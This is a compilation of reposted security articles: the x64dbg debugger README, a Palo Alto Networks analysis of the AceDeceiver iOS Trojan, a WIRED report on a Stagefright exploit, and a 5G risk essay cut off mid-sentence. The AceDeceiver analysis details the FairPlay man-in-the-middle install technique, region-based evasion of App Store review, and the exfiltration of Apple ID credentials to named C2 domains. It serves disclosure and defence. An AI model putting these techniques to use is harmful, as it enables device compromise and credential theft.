An open-source x64/x32 debugger for windows. http://x64dbg.com Note Please run install.bat before you start committing code, this ensures your code is auto-formatted to the x64dbg standards. Compiling For a complete guide on compiling x64dbg read this. Downloads Releases of x64dbg can be found here. Jenkins build server can be found here. Overview x64dbg is an open-source x32/x64 debugger for Windows. Features Open-source Intuitive and familiar, yet new user interface C-like expression parser Full-featured debugging of DLL and EXE files (TitanEngine) IDA-like sidebar with jump arrows IDA-like instruction token highlighter (highlight registers, etc.) Memory map Symbol view Thread view Source code view Content-sensitive register view Fully customizable color scheme Dynamically recognize modules and strings Import reconstructor integrated (Scylla) Fast disassembler (Capstone) User database (JSON) for comments, labels, bookmarks, etc. Plugin support with growing API Extendable, debuggable scripting language for automation Multi-datatype memory dump Basic debug symbol (PDB) support Dynamic stack view Built-in assembler (XEDParse) Executable patching Yara Pattern Matching Decompiler (Snowman) Analysis Sursa: https://github.com/x64dbg/x64dbg

AceDeceiver: First iOS Trojan Exploiting Apple DRM Design Flaws to Infect Any iOS Device POSTED BY: Claud Xiao on March 16, 2016 5:00 AM We’ve discovered a new family of iOS malware that successfully infected non-jailbroken devices we’ve named “AceDeceiver”. What makes AceDeceiver different from previous iOS malware is that instead of abusing enterprise certificates as some iOS malware has over the past two years, AceDeceiver manages to install itself without any enterprise certificate at all. It does so by exploiting design flaws in Apple’s DRM mechanism, and even as Apple has removed AceDeceiver from App Store, it may still spread thanks to a novel attack vector. AceDeceiver is the first iOS malware we’ve seen that abuses certain design flaws in Apple’s DRM protection mechanism — namely FairPlay — to install malicious apps on iOS devices regardless of whether they are jailbroken. This technique is called “FairPlay Man-In-The-Middle (MITM)” and has been used since 2013 to spread pirated iOS apps, but this is the first time we’ve seen it used to spread malware. (The FairPlay MITM attack technique was also presented at the USENIX Security Symposium in 2014; however, attacks using this technique are still occurring successfully.) Apple allows users purchase and download iOS apps from their App Store through the iTunes client running in their computer. They then can use the computers to install the apps onto their iOS devices. iOS devices will request an authorization code for each app installed to prove the app was actually purchased. In the FairPlay MITM attack, attackers purchase an app from App Store then intercept and save the authorization code. They then developed PC software that simulates the iTunes client behaviors, and tricks iOS devices to believe the app was purchased by victim. Therefore, the user can install apps they never actually paid for, and the creator of the software can install potentially malicious apps without the user’s knowledge. Figure 1 FairPlay MITM attack procedures Three different iOS apps in the AceDeceiver family were uploaded to the official App Store between July 2015 and February 2016, and all of them claimed to be wallpaper apps. These apps successfully bypassed Apple’s code review at least seven times (including the first time each was uploaded and then four rounds of code updates, which require an additional review by Apple for each instance) using a method similar to that used by ZergHelper, where the app tailors its behavior based on the physical geographic region in which it’s being executed. In this case, AceDeceiver only displays malicious behaviors when a user is located in China, but that would be easy for the attacker to change in any time. Apple removed these three apps from the App Store after we reported them in late February 2016. However, the attack is still viable because the FairPlay MITM attack only requires these apps to have been available in the App Store once. As long as an attacker could get a copy of authorization from Apple, the attack doesn’t require current App Store availability to spread those apps. To carry out the attack, the author created a Windows client called ”爱思助手 (Aisi Helper)” to perform the FairPlay MITM attack. Aisi Helper purports to be software that provides services for iOS devices such as system re-installation, jailbreaking, system backup, device management and system cleaning. But what it’s also doing is surreptitiously installing the malicious apps on any iOS device that is connected to the PC on which Aisi Helper is installed. (Of note, only the most recent app is installed on the iOS device(s) at the time of infection, not all three at the same time.) These malicious iOS apps provide a connection to a third party app store controlled by the author for user to download iOS apps or games. It encourages users to input their Apple IDs and passwords for more features, and provided these credentials will be uploaded to AceDeceiver’s C2 server after being encrypted. We also identified some earlier versions of AceDeceiver that had enterprise certificates dated March 2015. As of this writing, it looks as though AceDeceiver only affects users in mainland China. The bigger issue, however, is that AceDeceiver is evidence of another relatively easy way for malware to infect non-jailbroken iOS devices. As a result, it’s likely we’ll see this start to affect more regions around the world, whether by these attackers or others who copy the attack technique. In addition, the new attack technique is more dangerous than previous ones for the following reasons: It doesn’t require an enterprise certificate, hence this kind of malware is not under MDM solutions’ control, and its execution doesn’t need user’s confirmation of trusting anymore. It hasn’t been patched and even when it is, it’s likely the attack would still work on older versions of iOS systems. Even though these apps have been removed from the App Store, that doesn’t affect the attack. Attackers do not need the malicious apps to be always available in App Store for them to spread – they only require the apps ever available in App Store once, and require the user to install the client to his or her PC. However, ZergHelper and AceDeceiver have shown how easy it can be to bypass Apple’s code review process and get malicious apps into the App Store. The attack doesn’t require victims to manually install the malicious apps; instead, it does that for them. That’s why they can be only available in a few regions’ App Store without affecting the success of the attack. This also makes them much harder to be discovered by Apple or by security firms researching iOS vulnerabilities. While the attack requires a user’s PC to be infected by malware first, after that, the infection of iOS devices is completed in the background without the user’s awareness. The only indication is that the new malicious app does appear as an icon in the user’s home screen, so the user may notice a new app he or she won’t recall downloading. Our analysis of AceDeceiver leads us to believe FairPlay MITM attack will become another popular attack vector for non-jailbroken iOS devices – and thus a threat to Apple device users worldwide. Palo Alto Networks has released IPS signatures (38914, 38915) and has updated URL filtering and Threat Prevention to protect customers from the AceDeceiver Trojan as well as the FairPlay MITM attack technique. In the rest of this blog we will take a detailed look at AceDeceiver’s method of spreading, attacking, and implementation. We will also cover how the FairPlay MITM attack works and discuss the security flaws in Apple’s DRM technology. Timeline of the Threat Jan 2013: FairPlay MITM attack has been used in the wild to spread pirated iOS apps. Aug 2014: Researchers published paper to describe FairPlay MITM attack in the 23rd USENIX Security Symposium Mar 26, 2015: AceDeceiver’s enterprise certificate signed iOS apps added password stealing functionality. These apps were embedded into Aisi Helper Windows clients. Jul 10, 2015: AceDeceiver’s iOS app “爱思助手” was available in HK and NZ App Store Jul 24, 2015: Aisi Helper Windows client updated to embed its App Store version iOS app Nov 7, 2015: AceDeceiver’s iOS app “AS Wallpaper” was available in US App Store Jan 30, 2016: AceDeceiver’s iOS app “i4picture” was available in US and UK App Store Feb 21, 2016: Palo Alto Networks published report on ZergHelper Feb 24, 2016: Palo Alto Networks reported the AceDeceiver issue to Apple Feb 25, 2016: AceDeceiver apps were removed from App Store Feb 26, 2016: Palo Alto Networks reported the FairPlay MITM attack issue in AceDeceiver to Apple Background of AceDeceiver The AceDeceiver Trojan exists in a product named “爱思助手 (Aisi Helper)” that was developed by a company located in Shenzhen, China. AceDeceiver’s C2 server also shares the same domain name with the product’s official website, www.i4[.]cn. The Trojan also used third-level URLs in this domain for downloading and updating. Figure 2 Official website of Aisi Helper Aisi Helper is a software program for Windows systems that claims to provide services for iOS devices such as system re-installation, jailbreaking, system backup, device management, system cleaning. When installed on a user’s iOS device that is located in mainland China, it also provides access to a third-party App Store controlled by the attackers that could be used to install additional iOS apps or games to either jailbroken or non-jailbroken devices. Most of the iOS apps they provided appear to be pirated versions. Interestingly, according to ITJuzi, a Chinese business profiling website, Aisi Helper was initially released in January 2014 and at the time did not exhibit any malicious functionality. As of December 2014, it had accumulated over 15 million users and had over 6.6 million monthly active users. The malicious functionality doesn’t appear to have been added until 2015. When a user accesses the official website from a computer, it prompts the user to install Aisi Helper’s PC client, regardless of the actual operating system running on the computer. Once installed, the PC client will automatically install the most recent malicious iOS app to any connected iOS device. However, if a user accesses the website from an iPhone or an iPad, the browser will be redirected to the site’s mobile version (m.i4[.]cn) and an enterprise certificate signed version of its iOS client will be recommended. During our investigation in February 2016, all Aisi Helper Windows or iOS clients downloaded from the official website contained the AceDeceiver Trojan. Given what we now know about the functionality of AceDeceiver, the website’s legal announcement seems a bit suspicious. Section 7 says that “our website is not responsible for any personal data leakage, loss, theft, modification, etc. that happens as a result of a hacker’s attack, computer virus intrusion, or other attack …” Figure 3 The product claims it doesn’t responsible for personal data leakage or loss AceDeceiver Landed in the App Store Many Times We found three iOS apps in the AceDeceiver family that successfully landed in the official App Store. The first app was released to the public on July 10, 2015, the second on November 7, 2015, and the third on January 30, 2016. All of them were designed to appear as legitimate wallpaper apps and each has a different name in the App Store, a different bundle identifier, and uses different developer accounts. Figure 4 The third malicious app of the AceDeceiver family in the App Store Name in App Store Versions Bundle ID Release Date Stores Developer 壁纸助手 6.0.x com.aisi.aisiring 2015-07-10 HK, NZ fangwen huang AS Wallpaper 7.0.x com.aswallpaper.mito 2015-11-07 US Yuzu He i4picture 7.1.x com.i4.picture 2016-01-30 US, UK liu xiaolong Table 1 Information of the three AceDeceiver apps in App Store Normally, Apple does a code review on all apps the first time they are submitted for inclusion in the App Store. After being released, if the developer wants to make an update to the existing iOS app, Apple requires another round of code review for the newer version. To date, we’ve found that all of these apps were updated after they were accepted by the App Store. Which means, AceDeceiver successfully bypassed Apple’s code review seven times. Figure 5 User interface for users outside of China When these apps are launched, before they show the first screen of the user interface, they will access the URL tool.verify.i4[.]cn/toolCheck.xhtml, which is AceDeceiver’s C2 server. If the URL returns “0”, the whole user interface of the attacker’s third party app store will be shown. However, if the URL returns “1” or anything else but 0, the user will just be shown a wallpaper app interface, as seen in Figure 5. Figure 6 iOS apps access C2 to determine which user interface to show Figure 7 iOS app initial beacon to the C2 When we analyzed these apps in February, this C2 would only return “0” if the device had an IP address from mainland China. If that wasn’t part of how the apps evaded Apple’s code review, it’s also possible the attacker set the server to always return “1” when they knew the apps were under review, so that no matter where Apple’s reviewers are located they would always just get some beautiful-looking picture in a wallpaper app user interface. In addition to the location trick, AceDeceiver also made some more effort to ensure it wouldn’t be discovered. First, the attacker chose to only submit these apps to a App Stores in select regions. Apple provides App Store services for 155 different regions around the world. Users usually can only choose to download from their local App Store, and they can’t install apps that aren’t available in their region. The aforementioned ZergHelper’s author chose to submit it for all 155 regions, but AceDeceiver’s did not. For example, the third app, “i4picture”, was only available in the App Store for the United States and United Kingdom when we investigated it. Because of this distribution strategy, the author likely guessed that Apple would not review the app from China. It also significantly reduced the chance that the app would be discovered by security researchers, because if anyone downloaded this from the App Store, they’re generally located in a region where the malicious functions won’t take place. Second, besides different user interfaces based on IP address, according to our testing, AceDeceiver will remember a device through the information it has collected. These apps will upload a device’s unique ID to the C2 server. If a device is ever used from outside of China, even if it later changed back to a mainland Chinese IP address, the malicious functionalities will still be hidden. Third, these apps will also show different names in different situations. For example, the version 6.0.4 used the same trick as ZergHelper in that, in the App Store’s webpage, its name was “壁纸助手(Wallpaper Helper)”; while in iOS devices its name will become “爱思助手(Aisi Helper)”. We found these name differences by checking the IPA file’s iTunesMetadata.plist. Later, in version 7.1.2, the app has the name “爱思助手(Aisi Helper)” for iOS devices that use short-form Chinese language settings, while for all other devices its name was just “i4picture”. Figure 8 Different names in iOS devices and in App Store pages Figure 9 Different names in devices using different languages The FairPlay Man-In-The-Middle Attack When we were investigating AceDeceiver, the strangest part was that this malware’s apps were not available in App Store for mainland China and yet its malicious functionalities only target users in that region. This helped us to discover its exploitation of FairPlay MITM attack. Through the attack, these apps could be installed on iOS devices in a way not needing the App Store. Figure 10 Authorize a computer in iTunes FairPlay is a digital rights management (DRM) technology created by Apple many years ago to protect songs for use via iTunes and on iPods. Based on the DRM, Apple users can download iOS apps to their PCs or Macs through iTunes software, and then install these apps from their computers to their devices. Before the installation, users have to “authorize the computer” with the same Apple ID used to buy those apps. Apple restricted each Apple ID to only be used to authorize at most five computers. This process is what the attackers figured out how to abuse. During an app’s installation, a key step in the authorization procedures is that the connected iPhone or iPad will send afsync.rq and afsync.rq.sig files to the computer, and the iTunes software on the computer should send correct afsync.rs and afsync.rs.sig files as response back to the iOS device. Only if the responded afsync.rs are correct can the iOS device install the app and decrypt its DRM protection (The real protocol is more complex than our description here; we have simplified it for sake of argument.) Figure 11 Normal authorization procedures during app installation However, this procedure has some design flaws. First, Apple only restricts the computer that should be authorized by the Apple ID that was used to purchase the iOS apps. There isn’t any limitation about how many iOS devices those apps can be installed on. Second, Apple allows the Apple ID being used to purchase apps to differ from the Apple ID that is actually used by the iOS devices. Third, the DRM protecting apps’ installer files (IPA files) will always be the same no matter which computers it will be downloaded to, and no matter which Apple ID was used to purchase them. Overall, the problem is this: the FairPlay DRM protection is only relevant with the app itself, but is irrelevant respective to Apple ID, and is irrelevant respective to iOS device. Apple designed the protection mechanism in such a way that its security relies on computer authorization and physical connection between the computer and the device in question. These design flaws allowed the FairPlay MITM attack. In such an attack, the attacker can authorize a computer, then purchase an iOS app from App Store (in any region) so that they could generate the correct afsync.rs response. Then, the attacker can deploy this afsync.rs as a service on the C2 server. Now, they can create client software for PC or for Mac. The client software simulates iTunes’s functionalities that it connects with the iOS device and installs the iOS app. When the client received the afsync.rq from the iOS device, it could upload the file to C2 server, then get a correct afsync.rs response from C2 server, and send this response to iOS device. By deploying authorized computer in the C2 server, and using a client software as agent in the middle, the attacker can distribute that purchased iOS app to unlimited iOS devices. Figure 12 Authorization procedures in a FairPlay MITM attack It’s not easy to implement FairPlay MITM attacks considering that the attacker needs to reverse the iTunes client to know the proprietary protocols/algorithms employed by Apple. Even so, in January 2013, some media reported that this attack technique had been used in the wild to distribute pirated iOS apps. In August 2014, Tielei Wang and others from Georgia Institute of Technology published a paper, “On the Feasibility of Large-Scale Infections of iOS Devices,” and presented at the 23rd USENIX Security Symposium. The paper described the attack in detail, demonstrated the attack by a proof-of-concept experiment, and evaluated how this attack approach could be used in a wide range. Three years since the January 2013 reporting, as we’re analyzing AceDeceiver, we have realized Apple still hasn’t fixed this complex problem. What’s more, iOS devices in current and older versions may still be vulnerable the same attack. How AceDeceiver Used FairPlay MITM Attack In our investigation, which covered Aisi Helper Windows client’s version 5.38 to the newest available version (6.15), we found the clients to contain App Store versions of AceDeceiver iOS IPA file under path “files/i4/60.ipa”. According to the updating logs on the official Aisi Helper website, version 5.38 was released July 24, 2015. That is just 14 days after the first of the three questionable iOS apps was available in App Store. Some more versions of the Windows client also contained a “files/i4/i4.ipa” which indicates enterprise certificates signed AceDeceiver iOS apps. After installed the Windows client, when users connect iOS devices to their their PCs and launched the client, the embedded AceDeceiver app will be automatically installed on the devices using the FairPlay MITM attack. This does not require user confirmation. In its user interface, a progress bar will be shown with a message “Installing Aisi Helper…” but there isn’t any option to stop it or cancel it. Figure 13 Aisi Helper Windows client automatically instalsl the Trojan app Our analysis below is based on the version 6.12 of the Windows client. The installer was downloaded from http://d.app6.i4[.]cn/i4tools/v6/i4tools_v6.12_Setup.exe in Feb 24, 2016. Its SHA-256 value is ad313d8e65e72a790332280701bc2c2d68a12efbeba1b97ce3dde62abbb81c97. After the Windows client is installed, in its i4Tools.exe file, function sub_4A9530 is responsible for implementing the installation and exploitation. It invokes function sub_4A8CE0 to install the IPA file, and then invokes function auth to perform FairPlay MITM. Function sub_4A8CE0 reads the IPA file stored in \files\i4\60.ipa, and then invokes am_install_app. The am_install_app function is implemented in i4m.dll file. It communicates with the com.apple.mobile.installation_proxy service to install the IPA file on the iOS device. This is a very classic method. Figure 14 Install the IPA file to iOS device Then, sub_4A9530 will invoke function auth which is also implemented in i4m.dll. Figure 15 Invoke function auth with C2 URL for FairPlay MITM The function auth implements the FairPlay MITM attack. It receives /AirFair/sync/afsync.rq from the connected iOS device, sends the file to C2 server auth3.i4[.]cn by HTTP POST (implemented in function sub_10005DB0), receives the afsync.rs from C2 server, and then sends this response back to the iOS device’s /AirFair/sync/afsync.rs. Figure 16 Auth function read afsync.rq file Figure 17 Send the afsync.rq to C2 server via libcurl Figure 18 Traffic of sending afsync.rq file Figure 19 Copy the afsync.rs back to iOS Stealing Apple IDs and Passwords The iOS apps of AceDeceiver mainly act as a third party app store if users access them from China. Note that some of the apps or games they provide in the store are also installed through a FairPlay MITM attack. In addition, these apps strongly suggest users input their Apple ID with password so that users could “directly install free apps from the App Store, execute in-app purchase, and login to Game Center.” In the interface to input the Apple ID and password, AceDeciver provided buttons for “Instructions” and “Disclaimer”. In all these documents, they claimed they will never send the passwords to their server, but will just store them in the local device after encryption. However, we can demonstrate that this is not true. Of note, the last section of the Disclaimer also indicates that if there’s any abnormal activity related to a user’s Apple ID, Aisi Helper doesn’t take any responsibility for it. Figure 20 iOS apps’ interfaces of installing apps and input Apple ID Figure 21 Instruction and Disclaimer of Inputing Apple ID In fact, we discovered all versions of AceDeceiver will upload the Apple ID and password to the C2 server. In these iOS apps, after a user inputs any Apple ID with password, the app will invoke the [LoginEntity getLoginAppleId:withPassword:block:] method to get the Apple ID and the password from interface, then invoke [UserInfo initAppleId:WithPassword]. In this method, the Apple ID and password will be encrypted by RC4 algorithm with a fixed key. The key value is itself pretty interesting: i4.cn/forum.php?mod=viewthread&tid=m&fromuid=n Figure 22 Apple ID and password are encrypted by RC4 algorithm After encrypting, the Apple ID and password will be encoded by Base64 following by URL encoding, and then be set as properties appleId_RC4 and password_RC4 of an LoginEntity instance. Now [LoginEntity getLoginInfo] will be invoked. In this method, the encrypted Apple ID and password will be sent back to AceDeceiver’s C2 server by URL “http://buy.app.i4[.]cn”. Figure 23 The encrypted Apple ID and password are sent to C2 server During analysis, we input an invalid Apple ID: username “example@example.com” with the password “example123”. Through network traffic we can see below this credential was sent to and was received by the server (since it responded HTTP 200). Figure 24 Traffic of uploading Apple ID and password Mitigate the Risk All three Trojan apps of AceDeceiver were removed by Apple from App Store as of late February 2016. But even with their removal, the Aisi Helper Windows client can still install these apps to non-jailbroken iOS devices using a FairPlay MITM attack. We also reported older enterprise certificates signed versions of AceDeceiver apps to Apple. All of those known abused enterprise certificates have also since been revoked. We suggest users who installed Aisi Helper’s Windows client or iOS apps after March 2015 to remove these software and apps immediately, as well as change their Apple ID passwords. We also suggest all iOS users to enable two-factor authentication for their Apple IDs. For enterprises, we suggest to check whether there’s any iOS app installed to managed Apple devices by these bundle identifiers: aisi.aisiring aswallpaper.mito i4.picture Since AceDeceiver also spreads via enterprise certificates, we suggest that enterprises check for unknown or abnormal provision profiles as well. Until now all known malicious traffic comes from or goes to subdomains under i4[.]cn. Enterprises could also check traffic by this domain to identify potential traffic of AceDeceiver. Conclusion AceDeceiver shows yet another way attackers are getting around Apple’s security measures to install malicious apps, particularly on non-jailbroken devices. Mobile is a huge growth area for malicious attackers and while Android devices have gotten the most attention for a few years now, attackers are turning increasingly to iOS devices because they are so widely popular. As of this writing, AceDeceiver is only targeting iOS devices in mainland China, but attackers could easily expand this attack to other regions around the world. And as we’ve already noted, the attack technique they’re exploiting will not be easy for Apple to fix. Palo Alto Networks has released a IPS signature (38915) to block AceDeceiver family’s C2 traffic. The related C2 URLs are also marked as malicious by URL filtering and Threat Prevention. Palo Alto Networks WildFire recognizes all Windows clients of Aisi Helper as malicious. Palo Alto Networks has also released another IPS signature (38914) to cover the FairPlay MITM attack. Acknowledgements We greatly thank Jen Miller-Osborn and Chad Berndtson from Palo Alto Networks for their assistance in developing this report. We also would like to thank Yi Ren, Tyler Halfpop, Yuchen Zhou and Rongbo Shao from Palo Alto Networks for their works to protect our customers from the threat. IOCs Trojan.Win32.AceDeceiver ad313d8e65e72a790332280701bc2c2d68a12efbeba1b97ce3dde62abbb81c97 i4Tools_v6.12_setup.exe 9231166a2114f6b1c2d6cd6a57b5836e919ee5739d8868f07425d3c22697894e i4Tools.exe 78a2cdade1b0715e4f3f372e86724ee10e241ad8821c6b8caa3e84fd7e78ba7e i4m.dll Trojan.iOS.AceDeceiver (App Store version, FairPlay DRM protected) 5894742146c02ba8af5390c91e4f0d2e5ad6cfaa2b916945ebb4fad633b054e3 601.ipa ba07f252801120b081c45a173fb1a205fea763ed827f05fb9beb5150ae297ccb 60.ipa f7e50fdc4f20f0d25771a694eb3f3643c1842e3b14f06aaa5e8d9dab1c1851e9 60.ipa ca115f8a3751e4c0fc36b001e3c74d3ac167360a4a44fd1b373b25487de05820 60.ipa 3e02b30a6a920a5bdc139270b1e731a4a8d7ab313e9c8d9af9fec611710b4d09 60.ipa 006c539fa6251e1d2142631c52d7c112bf5027335696eacd64794b8cf357d6d5 60.ipa fbc26c14a3ff609332644f5d9702f07ace024961b7aa2c531df2715911b1c57d bf03_710.ipa Trojan.iOS.AceDeceiver (App Store version, FairPlay DRM stripped) bc82efce99f149441a2fd730a961a0f7da58dd6c9c3b45597f5571f227a52309 com.i4.picture.ipa ad7cfc29b0a9b6ade878d01084c68d0bbcde699e142652b00132317c04bcf730 aisiweb Trojan.iOS.AceDeceiver (enterprise certificate signed versions) 0a8e29bd8fe0f5d4d6a8677454b1d01e97478dc4bc3666eaab6bbbf2f2e759bc 1b6cf5abe2bd3d5bb84da8debd5ec563393d30995ce4afc6142dc3381ac69902 352d1af3a5cef417dda688be2dd35c3f59841ea56c393a07f95a0bc5ab576448 5bc7ceb48ca4951997d50425d5b34484505e4444a3e172ab846b2595104b7138 5bebcacfb5c541bd6ba7530aeb2971c20adb1beddb244e4367d40cd87bfc826d 63e3cc1d00abef8ad6c2029e7f9a4831ec4c48682979a7385a940fb73cfc03a6 821f93bae8c067af71626ca84cdc20226df61c4c371e5eb6423d9439c8b8c25d 86b8065d40c24e3702ed848ec28650b074a577f677375c094ed61a2efffce11b 9a4a40625efcc6f4de419db0bec9fbdfdc379918a95fba572ee56cffc13cd074 a504d47fdfa630bc1c474cdbdaf0dd82a46a08e5d662ecc1bffc57f3c409690e baa255dd7a0e52edf6e4f3082a6840800898969a3d17f2bcb6a88d0a94c5b795 bc5e3be07e65f25479cee7de8615b386c489c1253659ed7ca5526f86f5116374 c41e3abd97e16b3d9514583eef613105006d69dffb2231badfd500d29eb113bc d879c6d96463b81e4f2085a565418c99b559a8803ca449442464a2b6cd728d97 f6cabdc408e12912c07097c9956ceda2f7033e88c2ca59d7618b9256d3724f5c C2 Domains tool.verify.i4[.]cn auth3.i4[.]cn buy.app.i4[.]cn Sursa: http://researchcenter.paloaltonetworks.com/2016/03/acedeceiver-first-ios-trojan-exploiting-apple-drm-design-flaws-to-infect-any-ios-device/

Millions of Android devices vulnerable to new Stagefright exploit MATT BURGESS Staff Writer Security researchers have successfully exploited the Android-based Stagefright bug and remotely hacked a phone, which may leave millions devices vulnerable to attack. Israeli software research company NorthBit claimed it had "properly" exploited the Android bug that was originally described as the "worst ever discovered". The exploitation, called Metaphor, is detailed in a research paper (PDF) from NorthBit and also a video showing the exploit being run on a Nexus 5. NorthBit said it had also successfully tested the exploit on a LG G3, HTC One and Samsung Galaxy S5. Co-founder Gil Dabah told WIRED the exploit could be altered by those wanting to cause more damage. Approximately 36 percent of the 1.4 billion active Android phones and tablets run Android 5 or 5.1, with Dabah warning that devices lacking the latest updates would be vulnerable. "Our research managed to get it [the attack] to the level of production grade, meaning that everyone - both the bad guys and good guys, or governments - could use our research in order to facilitate it in the wild." "Our research managed to get it to the level of production grade, meaning that everyone -- both the bad guys and good guys, or governments -- could use our research in order to facilitate it in the wild" Gil Dabah, CEO, NorthBit The Stagefright vulnerability was first highlighted by security firm Zimperium in July 2015. The hack was said to be able to execute remote code on Android devices and could possibly affect up to 95 percent of Android devices. A second critical vulnerability exploited issues in .mp3 and .mp4 files, which when opened were claimed to be able to remotely execute malicious code, was dubbed Stagefright 2.0 in October. Stagefright itself is a software library, written in C++, that's built inside the the Android operating system. The Zimperium researchers said it was susceptible to memory corruption and when a MMS message containing a video was sent to the device it could, if composed in the correct way, activate malicious code inside the device. Google released a patch for the bug and promised regular security updates for Android phones following the publication of Stagefright's details. WIRED contacted Google for comment but had not received a response at the time of publication. The researchers from NorthBit say they have been able to create an exploit that can be used against Stagefright on Android 2.2, 4.0, 5.0 and 5.1. Other versions are not affected. The company's research paper says it is built onwork from Google itself. Stagefright Dabah claims the exploit "depicts a way to bypass" address space layout randomisation (ASLR), a memory protection process. ASLR is present on Android 5.0 and 5.1, but not on 2.2 and 4.0. "We managed to exploit it to make it work in the wild," Dabah said. The research paper reads: "Breaking ASLR requires some information about the device, as different devices use slightly different configurations which may change some offsets or predictable addresses locations. "Using the same vulnerability, it is possible to gain arbitrary pointer read to leak back to the web browser and gather information in order to break the ASLR". "I would be surprised if multiple professional hacking groups do not have working Stagefright exploits by now" Zuk Avraham, Chairman, Zimperium After bypassing the ASLR the researchers, in their video, show a user opening a link sent in a message before the exploit sends a raft of device data back to the hacker's computer. Zuk Avraham, chairman of Zimperium, told WIRED his company had originally developed two working exploits for the first vulnerabilities in Stagefright but NorthBit's research could result in a situation where Androidusers were vulnerable. "I would be surprised if multiple professional hacking groups do not have working Stagefright exploits by now. Many devices out there are still vulnerable, so Zimperium has not published the second exploit in order to protect the ecosystem," Avraham said. "NorthBit's research provides an alternative method to break ASLR by leaking information via mediaserver. The research paper provides enough details for professional hacking groups to complete a fully working and reliable exploit." Sursa: http://www.wired.co.uk/news/archive/2016-03/16/stagefright-android-real-world-hack

5G Networks Pose Cyber Risks, Opportunities By Matthew Rosenquist on Mar 17, 2016 Fifth-generation networking (5G) holds the potential for a massive immersion of technology into the lives of people and businesses. It is an evolution of technology that could allow enough bandwidth for 50 billion smart devices, driving toward a world in which everything that computes will be connected. Such transformative technology opens great opportunities, but also presents new unimaginable risks. The scalability of improved speed, connections, and responsiveness will fuel unprecedented growth of data from more sensors and devices in our cities, homes, vehicles, and close to or within our bodies. These devices will have access to our personal events and conditions, and will provide new experiences of convenience, entertainment, and productivity—all of which pose amplified security, safety, and privacy concerns. The fifth generation of networking represents an important technology enabling the next wave of computing devices to be connected for the benefit of users. Upcoming 5G networks are designed to be vastly superior to our current 4G LTE mobile networks by potentially increasing data speeds from 30 to even 100 times, shortening the latency for responsiveness, and perhaps most important scaling to connect the billions of devices anticipated in the coming years. Cars, smart clothing, ingestible health sensors, home appliances, drones, street signs, light posts, industrial equipment, and many more items in just about every field imaginable will connect and share data. In many ways, this movement will bring computing to a more personal level. The wearables, embedded sensors, smart vehicles, home automation, individualized healthcare and monitoring, and environment-aware entertainment devices will connect communities and enrich lives. Devices will more easily and reliably share information, and work together to enhance our convenience, productivity, safety, health, and interpersonal connections with the people we care about. But such powerful tools can also be leveraged by those with malice or insensitivity. We must protect our technology, data, and privacy from those who intend or would do us harm. The value of 5G networks and devices must include aspects of security, trust, and privacy. We will embrace technology that vastly improves the way we communicate and interact with the world, and at the same time act responsibly to support the establishment of protections for systems and people. As devices become more intelligent and capable, we trust them to complete physical-world assigned tasks. In doing so, people relinquish a certain amount of control. In most cases this is positive, and could drive sweeping benefits, enhance productivity, and promote safety. Having a smart car parallel park for me is much safer than my bumbling attempts to do the same. I have never really mastered the task, which results in delaying traffic, higher stress levels, and eventually higher insurance rates due to the small dents I will likely cause. So having a car respond to my request to park, measure the space and quickly maneuver the vehicle safely into the spot is nothing short of blissful magic for those like me who normally drive in endless circles waiting for an easier parking spot. But to gain such a benefit, I must understand that the vehicle is engineered in a way that it has the ability to sense immediate surroundings, accelerate, brake, and turn. This is fine at a slow speeds such as parking, but not so good for passenger safety if a malicious attacker takes control while driving on the highway. In the end, technology is a tool. As 5G rapidly advances the connectivity and capabilities to open the possibilities of a better world, we cannot be ignorant or complacent when it comes to the risks and necessary security. The biggest risks of 5G networks Safety and privacy, specifically for the emerging Internet of Things (IoT), represent the greatest risk to 5G. The IoT will bring new levels of convenience, automation, awareness, entertainment, and productivity to people’s lives. However, in the wrong hands, such connected smart devices may be turned into tools to undermine our security, invade our privacy, and be misused to become a safety risk. Some would argue industrial controls hold the greatest risk. But I challenge such positions. Industrial control systems (ICS) have long been in place in our power plants, water treatment, and chemical facilities. Over time these systems gradually get connected to the Internet, but in my opinion the introduction of 5G is not terribly important in this space from a risk perspective. ICS operators have recognized the risks and realize they have been under attack for years. To compensate, they have tried to limit the exposure of these systems and in many cases have not upgraded connectivity on purpose. Smart devices in ICS facilities could in theory be exploited, but more likely targets are sophisticated control systems such as servers and PCs. As 5G begins to roll out, we expect in 2018–2020, I think consumer devices will hold the greatest risks. I predict the transportation, healthcare, and drone industries will be the most talked about areas for abuses to security, privacy and safety. Here are some examples of benefits accompanying risks: Automobiles/autonomous vehicles. Next-generation automobiles and public transportation can use 5G networks to communicate with other vehicles and road sensors to avoid collisions, shorten travel times, and improve fuel economy. But under the control of a malicious attacker, such vehicles may slow the flow of traffic or, even worse, cause a serious crash. Healthcare. Health monitors can enhance fitness, warn of impending medical conditions, summon help when the user is unable, assist doctors in fine-tuning medications, and aid researchers in finding patterns across dispersed groups for improved treatments for some of the most severe chronic conditions. But such power can also be abused. Personal privacy can be undermined and tampering with data can cause an opposite effect—with potentially serious consequences for patients under medical care. Drones. Drones are rapidly being adopted to extend the reach of a variety of services and capabilities. They deliver medicines quickly over difficult terrain, assist with the detection and fighting of forest fires, explore hazardous environments, conduct military missions in dangerous zones, give artists new capabilities to capture expressive viewpoints, and may become the workhorse for the rapid package-delivery service of the future. Conversely, they are a risk to passenger planes during takeoff and landing, they have impeded firefighting efforts, could be used as weapons of terror, be a hazard during social protests, and support narcotics smuggling. We have already seen how they can be a nuisance to privacy when watching people in what would normally be considered personal settings. Securing 5G devices Users, devices, software, networks, and back-end infrastructures must all play a role to improve the security of 5G devices. The improved scalability of connectivity allows for a greater number of devices to communicate and results in the generation of much more data. The devices, applications, and data form a chain that must be protected. The problem is similar to the challenges we currently face with the Internet, just amplified to a much larger scale. Emerging IoT devices represent a new challenge, as they are not as powerful and capable of defending themselves as PCs, servers, and smartphones. Most lack the power and speed to run sophisticated feature-rich security solutions. To compensate, more emphasis will need to be placed in areas such as hardware, networks, application validation, and back-end infrastructures. Establishing trust begins now Cooperation among technology leaders to define robust standards that embed aspects for stronger security, improved privacy, and greater controls for life safety–related systems is imperative. If security is not proactively addressed, the value of IoT devices on 5G may be undermined by an erosion of the appeal and adoption by customers. Trust is hugely important. Security must be designed into the 5G standards as part of the foundation, especially when considering its use in IoT connectivity. Privacy aspects, to give users more oversight, default anonymity, and choice, must be included in product and software designs. Systems that may represent a threat to people’s safety should possess elevated levels of security, administration, and control. As consumers embrace technology such as automated transportation and medical management systems, the level of trust must rise to offset the risks. The industry has reached a point at which security can be woven into the fabric, rather than suffer as a bolted-on afterthought. Leaders in technology must work together now to establish trust in the foundations and uses of 5G. Consumers must do their part and be vocal about their expectations. The demand for security is a critical driver for the delivery by suppliers who 